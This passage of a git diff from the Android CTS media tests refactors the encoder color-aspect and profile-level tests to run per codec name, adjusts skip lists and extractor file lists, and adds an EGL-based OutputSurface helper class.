+                outputFormat.removeKey(MediaFormat.KEY_COLOR_TRANSFER);
+            }
+            mEGLWindowInpSurface.release();
+            mInpSurface.release();
+            mInpSurface = null;
+            mEncoder.reset();
+            mEncoder.release();
+            decodeElementaryStream(outputFormat);
+            assertTrue("output pts list is not Strictly increasing",
+                    mOutputBuffEnc.isPtsStrictlyIncreasing(-1));
+            assertTrue("input pts list and output pts list are not identical",
+                    mOutputBuff.isOutPtsListIdenticalToInpPtsList(false));
+            assertTrue("mOutputCnt != mInputCnt", mOutputCount == FRAMES_TO_ENCODE);
+            assertTrue("color difference exceeds allowed tolerance in " + mBadFrames + " out of " +
+                    FRAMES_TO_ENCODE + " frames", 0 == mBadFrames);
+            if (mMuxOutput) new File(tmpPath).delete();
+        }
+    }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index e6160bb..7a9ce5e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,13 +17,16 @@
 package android.mediav2.cts;
 
 import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
+import android.os.Build;
 import android.util.Log;
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -35,7 +38,6 @@
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 /**
@@ -55,23 +57,18 @@
 
     private ArrayList<String> mCheckESList = new ArrayList<>();
 
-    public EncoderColorAspectsTest(String mime, int width, int height, int range, int standard,
-            int transferCurve) {
-        super(mime);
+    private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
+            int range, int standard, int transferCurve) {
+        super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
         mRange = range;
         mStandard = standard;
         mTransferCurve = transferCurve;
-        mConfigFormat = new MediaFormat();
-        mConfigFormat.setString(MediaFormat.KEY_MIME, mMime);
-        mConfigFormat.setInteger(MediaFormat.KEY_BIT_RATE, 64000);
         mWidth = width;
         mHeight = height;
-        mConfigFormat.setInteger(MediaFormat.KEY_WIDTH, mWidth);
-        mConfigFormat.setInteger(MediaFormat.KEY_HEIGHT, mHeight);
-        mConfigFormat.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-        mConfigFormat.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-        mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+        setUpParams(1);
+        mConfigFormat = mFormats.get(0);
         if (mRange >= 0) mConfigFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
         else mRange = 0;
         if (mStandard >= 0) mConfigFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
@@ -97,7 +94,7 @@
         super.dequeueOutput(bufferIndex, info);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}{3}{4}{5})")
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
@@ -141,24 +138,19 @@
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
+        Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
         setUpSource(mInputFile);
         mOutputBuff = new OutputManager();
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             mOutputBuff.reset();
-            /* TODO(b/156571486) */
-            if (encoder.equals("c2.android.hevc.encoder") ||
-                    encoder.equals("OMX.google.h264.encoder") ||
-                    encoder.equals("c2.android.avc.encoder") ||
-                    encoder.equals("c2.android.vp8.encoder") ||
-                    encoder.equals("c2.android.vp9.encoder")) {
-                Log.d(LOG_TAG, "test skipped due to b/156571486");
+            /* TODO(b/189883530) */
+            if (mCodecName.equals("OMX.google.h264.encoder")) {
+                Log.d(LOG_TAG, "test skipped due to b/189883530");
                 mCodec.release();
-                continue;
+                return;
             }
-            String log = String.format("format: %s \n codec: %s:: ", mConfigFormat, encoder);
+            String log = String.format("format: %s \n codec: %s:: ", mConfigFormat, mCodecName);
             File tmpFile;
             int muxerFormat;
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
@@ -193,7 +185,7 @@
             mCodec.release();
 
             // verify if the muxed file contains color aspects as expected
-            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(mMime, null);
+            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
             String parent = tmpFile.getParent();
             if (parent != null) parent += File.separator;
             else parent = "";
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 8b77f73..f24a4b1 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -21,7 +21,6 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
-import android.mediav2.cts.MuxerTest;
 import android.util.Log;
 import android.util.Pair;
 
@@ -56,33 +55,23 @@
 
     private MediaFormat mConfigFormat;
     private MediaMuxer mMuxer;
-    private ArrayList<MediaCodec.BufferInfo> mInfoList = new ArrayList<>();
 
-    public EncoderProfileLevelTest(String mime, int bitrate, int encoderInfo1, int encoderInfo2,
-            int frameRate) {
-        super(mime);
-        mConfigFormat = new MediaFormat();
-        mConfigFormat.setString(MediaFormat.KEY_MIME, mMime);
-        mConfigFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+    public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
+            int encoderInfo2, int frameRate) {
+        super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
         if (mIsAudio) {
             mSampleRate = encoderInfo1;
             mChannels = encoderInfo2;
-            mConfigFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
-            mConfigFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, mChannels);
         } else {
             mWidth = encoderInfo1;
             mHeight = encoderInfo2;
             mFrameRate = frameRate;
-            mConfigFormat.setInteger(MediaFormat.KEY_WIDTH, mWidth);
-            mConfigFormat.setInteger(MediaFormat.KEY_HEIGHT, mHeight);
-            mConfigFormat.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            mConfigFormat.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-            mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
         }
+        setUpParams(1);
+        mConfigFormat = mFormats.get(0);
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = true;
@@ -613,17 +602,6 @@
         return AV1Level73;
     }
 
-    @Override
-    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
-        if (info.size > 0) {
-            MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
-            copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
-                    info.flags);
-            mInfoList.add(copy);
-        }
-        super.dequeueOutput(bufferIndex, info);
-    }
-
     private int getAacProfile(MediaFormat format) {
         int aacProfile = format.getInteger(MediaFormat.KEY_AAC_PROFILE, -1);
         int profile = format.getInteger(MediaFormat.KEY_PROFILE, -1);
@@ -710,8 +688,6 @@
      */
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testValidateProfileLevel() throws IOException, InterruptedException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int[] profiles = mProfileMap.get(mMime);
         assertTrue("no profile entry found for mime" + mMime, profiles != null);
         // cdd check initialization
@@ -723,15 +699,13 @@
             profileCdd = cddProfileLevel.first;
             levelCdd = cddProfileLevel.second;
         }
-        boolean[] boolStates = {true, false};
         MediaFormat format = mConfigFormat;
         mOutputBuff = new OutputManager();
         setUpSource(mInputFile);
         mSaveToMem = true;
         String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
-        int supportedCddCount = listOfEncoders.size() * (cddSupportedMime ? profileCdd.length : 1);
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaCodecInfo.CodecCapabilities codecCapabilities =
                     mCodec.getCodecInfo().getCapabilitiesForType(mMime);
             for (int profile : profiles) {
@@ -748,108 +722,119 @@
                 if (!mIsAudio) format.setInteger(MediaFormat.KEY_LEVEL, level);
                 if (!codecCapabilities.isFormatSupported(format)) {
                     if (cddSupportedMime) {
+                        boolean shallSupportProfileLevel = false;
                         if (mIsAudio) {
                             for (int cddProfile : profileCdd) {
-                                if (profile == cddProfile) supportedCddCount--;
+                                if (profile == cddProfile) {
+                                    shallSupportProfileLevel = true;
+                                }
                             }
                         } else if (profile == profileCdd[0] && level == levelCdd) {
-                            supportedCddCount--;
+                            shallSupportProfileLevel = true;
+                        }
+
+                        // TODO (b/193173880) Check if there is at least one component that
+                        // supports this profile and level combination
+                        if (shallSupportProfileLevel) {
+                            ArrayList<MediaFormat> formats = new ArrayList<>();
+                            formats.add(format);
+                            assertFalse(
+                                    "No components support cdd requirement profile level with \n "
+                                            + "format :" + format + " for mime: " + mMime,
+                                    selectCodecs(mMime, formats, null, false).isEmpty());
                         }
                         Log.w(LOG_TAG,
-                                "Component: " + encoder + " doesn't support cdd format: " + format);
+                                "Component: " + mCodecName + " doesn't support cdd format: " +
+                                        format);
                     }
                     continue;
                 }
-                for (boolean isAsync : boolStates) {
-                    mOutputBuff.reset();
-                    mInfoList.clear();
-                    configureCodec(format, isAsync, true, true);
-                    mCodec.start();
-                    doWork(1);
-                    queueEOS();
-                    waitForAllOutputs();
-                    MediaFormat outFormat = mCodec.getOutputFormat();
-                    /* TODO(b/147348711) */
-                    if (false) mCodec.stop();
-                    else mCodec.reset();
-                    String log =
-                            String.format("format: %s \n codec: %s, mode: %s:: ", format, encoder,
-                                    (isAsync ? "async" : "sync"));
-                    assertFalse(log + " unexpected error", mAsyncHandle.hasSeenError());
-                    assertTrue(log + "configured format and output format are not similar." +
-                                    (ENABLE_LOGS ? "\n output format:" + outFormat : ""),
-                            isFormatSimilar(format, outFormat));
+                mOutputBuff.reset();
+                mInfoList.clear();
+                configureCodec(format, false, true, true);
+                mCodec.start();
+                doWork(1);
+                queueEOS();
+                waitForAllOutputs();
+                MediaFormat outFormat = mCodec.getOutputFormat();
+                /* TODO(b/147348711) */
+                if (false) mCodec.stop();
+                else mCodec.reset();
+                String log =
+                        String.format("format: %s \n codec: %s, mode: %s:: ", format, mCodecName,
+                                "sync");
+                assertFalse(log + " unexpected error", mAsyncHandle.hasSeenError());
+                assertTrue(log + "configured format and output format are not similar." +
+                                (ENABLE_LOGS ? "\n output format:" + outFormat : ""),
+                        isFormatSimilar(format, outFormat));
 
-                    // TODO (b/151398466)
-                    if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-                        Assume.assumeTrue("neither KEY_AAC_PROFILE nor KEY_PROFILE are present",
-                                outFormat.containsKey(MediaFormat.KEY_AAC_PROFILE) ||
-                                        outFormat.containsKey(MediaFormat.KEY_PROFILE));
-                    } else {
-                        Assume.assumeTrue("KEY_PROFILE not present",
-                                outFormat.containsKey(MediaFormat.KEY_PROFILE));
-                    }
-                    Assume.assumeTrue(outFormat.containsKey(MediaFormat.KEY_LEVEL));
-                    // TODO (b/166300446) avc mime fails validation
-                    if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-                        Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
-                        continue;
-                    }
-                    // TODO (b/166305723) hevc mime fails validation
-                    if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
-                        Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
-                        continue;
-                    }
-                    // TODO (b/166300448) h263 and mpeg4 mimes fails validation
-                    if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_H263) ||
-                                mMime.equals(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
-                        Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
-                        continue;
-                    }
-                    // TODO (b/184889671) aac for profile AACObjectHE fails validation
-                    // TODO (b/184890155) aac for profile AACObjectLD, AACObjectELD fails validation
-                    if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC) &&
-                                profile != AACObjectLC) {
-                        Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime +
-                                " profile " + profile);
-                        continue;
-                    }
+                // TODO (b/151398466)
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+                    Assume.assumeTrue("neither KEY_AAC_PROFILE nor KEY_PROFILE are present",
+                            outFormat.containsKey(MediaFormat.KEY_AAC_PROFILE) ||
+                                    outFormat.containsKey(MediaFormat.KEY_PROFILE));
+                } else {
+                    Assume.assumeTrue("KEY_PROFILE not present",
+                            outFormat.containsKey(MediaFormat.KEY_PROFILE));
+                }
+                Assume.assumeTrue(outFormat.containsKey(MediaFormat.KEY_LEVEL));
+                // TODO (b/166300446) avc mime fails validation
+                if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+                    Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
+                    continue;
+                }
+                // TODO (b/166305723) hevc mime fails validation
+                if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+                    Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
+                    continue;
+                }
+                // TODO (b/166300448) h263 and mpeg4 mimes fails validation
+                if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_H263) ||
+                            mMime.equals(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+                    Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime);
+                    continue;
+                }
+                // TODO (b/184889671) aac for profile AACObjectHE fails validation
+                // TODO (b/184890155) aac for profile AACObjectLD, AACObjectELD fails validation
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC) &&
+                            profile != AACObjectLC) {
+                    Log.w(LOG_TAG, "Skip validation after muxing for mime = " + mMime +
+                            " profile " + profile);
+                    continue;
+                }
 
-                    for (int muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_FIRST;
-                         muxerFormat <= MediaMuxer.OutputFormat.MUXER_OUTPUT_LAST; muxerFormat++) {
-                        if (!MuxerTest.isCodecContainerPairValid(mMime, muxerFormat)) continue;
-                        ByteBuffer mBuff = mOutputBuff.getBuffer();
-                        mMuxer = new MediaMuxer(tempMuxedFile, muxerFormat);
-                        try {
-                            mMuxer.addTrack(outFormat);
-                            mMuxer.start();
-                            for (int i = 0; i < mInfoList.size(); i++) {
-                                mMuxer.writeSampleData(0, mBuff, mInfoList.get(i));
-                            }
-                            mMuxer.stop();
-                        } catch (Exception e) {
-                            fail(log + "error! failed write to muxer format " + muxerFormat);
-                        } finally {
-                            mMuxer.release();
-                            mMuxer = null;
+                for (int muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_FIRST;
+                     muxerFormat <= MediaMuxer.OutputFormat.MUXER_OUTPUT_LAST; muxerFormat++) {
+                    if (!MuxerTest.isCodecContainerPairValid(mMime, muxerFormat)) continue;
+                    ByteBuffer mBuff = mOutputBuff.getBuffer();
+                    mMuxer = new MediaMuxer(tempMuxedFile, muxerFormat);
+                    try {
+                        mMuxer.addTrack(outFormat);
+                        mMuxer.start();
+                        for (int i = 0; i < mInfoList.size(); i++) {
+                            mMuxer.writeSampleData(0, mBuff, mInfoList.get(i));
                         }
-                        MediaExtractor extractor = new MediaExtractor();
-                        extractor.setDataSource(tempMuxedFile);
-                        assertEquals("Should be only 1 track ", 1, extractor.getTrackCount());
-                        MediaFormat extractedFormat = extractor.getTrackFormat(0);
-                        assertTrue(log + "\nmuxer input config = " + outFormat +
-                                           "\ninput format and extracted format are not similar." +
-                                           "\nextracted format:" + extractedFormat +
-                                           "\ncontainer format = " + muxerFormat,
-                                isFormatSimilar(format, extractedFormat));
-                        extractor.release();
+                        mMuxer.stop();
+                    } catch (Exception e) {
+                        fail(log + "error! failed write to muxer format " + muxerFormat);
+                    } finally {
+                        mMuxer.release();
+                        mMuxer = null;
                     }
+                    MediaExtractor extractor = new MediaExtractor();
+                    extractor.setDataSource(tempMuxedFile);
+                    assertEquals("Should be only 1 track ", 1, extractor.getTrackCount());
+                    MediaFormat extractedFormat = extractor.getTrackFormat(0);
+                    assertTrue(log + "\nmuxer input config = " + outFormat +
+                                       "\ninput format and extracted format are not similar." +
+                                       "\nextracted format:" + extractedFormat +
+                                       "\ncontainer format = " + muxerFormat,
+                            isFormatSimilar(format, extractedFormat));
+                    extractor.release();
                 }
             }
             mCodec.release();
         }
         new File(tempMuxedFile).delete();
-        assertFalse("No components support cdd requirement profile level for mime: " + mMime,
-                supportedCddCount == 0);
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index e121b95..b7840db 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -834,12 +834,10 @@
                     {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{
                             "bbb_cif_768kbps_30fps_mpeg4_stereo_48kHz_192kbps_flac.mp4",
                             "bbb_cif_768kbps_30fps_h263_stereo_48kHz_192kbps_flac.mkv",}},
-                    {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{
-                            "bbb_stereo_48kHz_192kbps_flac.flac",}},
                     {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"canon.mid",}},
                     {MediaFormat.MIMETYPE_AUDIO_AC3, new String[]{
                             "testac3mp4.mp4", "testac3ts.ts",}},
-                    {MediaFormat.MIMETYPE_AUDIO_AC4, new String[]{"multi0.mp4", "multi0.ts",}},
+                    {MediaFormat.MIMETYPE_AUDIO_AC4, new String[]{"multi0.mp4",}},
                     {MediaFormat.MIMETYPE_AUDIO_EAC3, new String[]{
                             "testeac3mp4.mp4", "testeac3ts.ts",}},
                     {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"bbb_1ch_16kHz.wav",}},
@@ -1371,7 +1369,8 @@
                         CodecTestBase.selectCodecs(mMime, null, null, false);
                 assertTrue("no suitable codecs found for mime: " + mMime,
                         !listOfDecoders.isEmpty());
-                CodecDecoderTestBase cdtb = new CodecDecoderTestBase(mMime, mRefFile);
+                CodecDecoderTestBase cdtb =
+                        new CodecDecoderTestBase(listOfDecoders.get(0), mMime, mRefFile);
                 cdtb.decodeToMemory(mRefFile, listOfDecoders.get(0), 0,
                         MediaExtractor.SEEK_TO_CLOSEST_SYNC, Integer.MAX_VALUE);
                 String log = String.format("test file: %s, ref file: %s:: ", mTestFile, mRefFile);
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index e7ded9e..10bfb68 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -300,8 +300,6 @@
                     if (!ExtractorTest.isFormatSimilar(thisFormat, thatFormat)) continue;
                     if (mBufferInfo.get(i).size() == that.mBufferInfo.get(j).size()) {
                         long tolerance = thisMime.startsWith("video/") ? STTS_TOLERANCE_US : 0;
-                        // TODO(b/157008437) - muxed file pts is +1us of target pts
-                        tolerance += 1; // rounding error
                         int k = 0;
                         for (; k < mBufferInfo.get(i).size(); k++) {
                             MediaCodec.BufferInfo thisInfo = mBufferInfo.get(i).get(k);
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
new file mode 100644
index 0000000..f62cde9
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -0,0 +1,322 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.util.Log;
+import android.view.Surface;
+
+import static org.junit.Assert.assertTrue;
+
+
+/**
+ * Holds state associated with a Surface used for MediaCodec decoder output.
+ * <p>
+ * The (width,height) constructor for this class will prepare GL, create a SurfaceTexture,
+ * and then create a Surface for that SurfaceTexture.  The Surface can be passed to
+ * MediaCodec.configure() to receive decoder output.  When a frame arrives, we latch the
+ * texture with updateTexImage, then render the texture with GL to a pbuffer.
+ * <p>
+ * The no-arg constructor skips the GL preparation step and doesn't allocate a pbuffer.
+ * Instead, it just creates the Surface and SurfaceTexture, and when a frame arrives
+ * we just draw it on whatever surface is current.
+ * <p>
+ * By default, the Surface will be using a BufferQueue in asynchronous mode, so we
+ * can potentially drop frames.
+ */
+class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
+    private static final String TAG = "OutputSurface";
+    private static final boolean VERBOSE = false;
+
+    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
+    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+    private SurfaceTexture mSurfaceTexture;
+    private Surface mSurface;
+
+    private Object mFrameSyncObject = new Object();     // guards mFrameAvailable
+    private boolean mFrameAvailable;
+
+    private TextureRender mTextureRender;
+
+    /**
+     * Creates an OutputSurface backed by a pbuffer with the specified dimensions.  The new
+     * EGL context and surface will be made current.  Creates a Surface that can be passed
+     * to MediaCodec.configure().
+     */
+    public OutputSurface(int width, int height) {
+        if (width <= 0 || height <= 0) {
+            throw new IllegalArgumentException();
+        }
+
+        eglSetup(width, height);
+        makeCurrent();
+
+        setup(this);
+    }
+
+    /**
+     * Creates an OutputSurface using the current EGL context (rather than establishing a
+     * new one).  Creates a Surface that can be passed to MediaCodec.configure().
+     */
+    public OutputSurface() {
+        setup(this);
+    }
+
+    public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
+        setup(listener);
+    }
+
+    /**
+     * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
+     * with the SurfaceTexture.
+     */
+    private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
+        assertTrue(EGL14.eglGetCurrentContext() != EGL14.EGL_NO_CONTEXT);
+        assertTrue(EGL14.eglGetCurrentDisplay() != EGL14.EGL_NO_DISPLAY);
+        assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
+        assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
+        mTextureRender = new TextureRender();
+        mTextureRender.surfaceCreated();
+
+        // Even if we don't access the SurfaceTexture after the constructor returns, we
+        // still need to keep a reference to it.  The Surface doesn't retain a reference
+        // at the Java level, so if we don't either then the object can get GCed, which
+        // causes the native finalizer to run.
+        if (VERBOSE) Log.d(TAG, "textureID=" + mTextureRender.getTextureId());
+        mSurfaceTexture = new SurfaceTexture(mTextureRender.getTextureId());
+
+        // This doesn't work if OutputSurface is created on the thread that CTS started for
+        // these test cases.
+        //
+        // The CTS-created thread has a Looper, and the SurfaceTexture constructor will
+        // create a Handler that uses it.  The "frame available" message is delivered
+        // there, but since we're not a Looper-based thread we'll never see it.  For
+        // this to do anything useful, OutputSurface must be created on a thread without
+        // a Looper, so that SurfaceTexture uses the main application Looper instead.
+        //
+        // Java language note: passing "this" out of a constructor is generally unwise,
+        // but we should be able to get away with it here.
+        mSurfaceTexture.setOnFrameAvailableListener(listener);
+
+        mSurface = new Surface(mSurfaceTexture);
+    }
+
+    /**
+     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports pbuffer.
+     */
+    private void eglSetup(int width, int height) {
+        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new RuntimeException("unable to get EGL14 display");
+        }
+        int[] version = new int[2];
+        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
+            mEGLDisplay = null;
+            throw new RuntimeException("unable to initialize EGL14");
+        }
+
+        // Configure EGL for pbuffer and OpenGL ES 2.0.  We want enough RGB bits
+        // to be able to tell if the frame is reasonable.
+        int[] attribList = {
+                EGL14.EGL_RED_SIZE, 8,
+                EGL14.EGL_GREEN_SIZE, 8,
+                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
+                EGL14.EGL_NONE
+        };
+        EGLConfig[] configs = new EGLConfig[1];
+        int[] numConfigs = new int[1];
+        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, configs, 0, configs.length,
+                numConfigs, 0)) {
+            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+        }
+
+        // Configure context for OpenGL ES 2.0.
+        int[] attrib_list = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_NONE
+        };
+        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
+                attrib_list, 0);
+        checkEglError("eglCreateContext");
+        if (mEGLContext == null) {
+            throw new RuntimeException("null context");
+        }
+
+        // Create a pbuffer surface.  By using this for output, we can use glReadPixels
+        // to test values in the output.
+        int[] surfaceAttribs = {
+                EGL14.EGL_WIDTH, width,
+                EGL14.EGL_HEIGHT, height,
+                EGL14.EGL_NONE
+        };
+        mEGLSurface = EGL14.eglCreatePbufferSurface(mEGLDisplay, configs[0], surfaceAttribs, 0);
+        checkEglError("eglCreatePbufferSurface");
+        if (mEGLSurface == null) {
+            throw new RuntimeException("surface was null");
+        }
+    }
+
+    /**
+     * Discard all resources held by this class, notably the EGL context.
+     */
+    public void release() {
+        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
+            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
+            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
+            EGL14.eglReleaseThread();
+            EGL14.eglTerminate(mEGLDisplay);
+        }
+
+        mSurface.release();
+
+        mSurfaceTexture.release();
+
+        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+        mEGLContext = EGL14.EGL_NO_CONTEXT;
+        mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+        mTextureRender = null;
+        mSurface = null;
+        mSurfaceTexture = null;
+    }
+
+    /**
+     * Makes our EGL context and surface current.
+     */
+    public void makeCurrent() {
+        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    /**
+     * Returns the Surface that we draw onto.
+     */
+    public Surface getSurface() {
+        return mSurface;
+    }
+
+    /**
+     * Replaces the fragment shader.
+     */
+    public void changeFragmentShader(String fragmentShader) {
+        mTextureRender.changeFragmentShader(fragmentShader);
+    }
+
+    /**
+     * Latches the next buffer into the texture.  Must be called from the thread that created
+     * the OutputSurface object, after the onFrameAvailable callback has signaled that new
+     * data is available.
+     */
+    public void awaitNewImage() {
+        final int TIMEOUT_MS = 2000;
+
+        synchronized (mFrameSyncObject) {
+            while (!mFrameAvailable) {
+                try {
+                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
+                    // stalling the test if it doesn't arrive.
+                    mFrameSyncObject.wait(TIMEOUT_MS);
+                    if (!mFrameAvailable) {
+                        // TODO: if "spurious wakeup", continue while loop
+                        throw new RuntimeException("Surface frame wait timed out");
+                    }
+                } catch (InterruptedException ie) {
+                    // shouldn't happen
+                    throw new RuntimeException(ie);
+                }
+            }
+            mFrameAvailable = false;
+        }
+
+        // Latch the data.
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+    }
+
+    /**
+     * Wait for new image to become available or until timeout, whichever comes first.
+     * @param timeoutMs
+     * @return true if new image is available. false for no new image until timeout.
+     */
+    public boolean checkForNewImage(int timeoutMs) {
+        synchronized (mFrameSyncObject) {
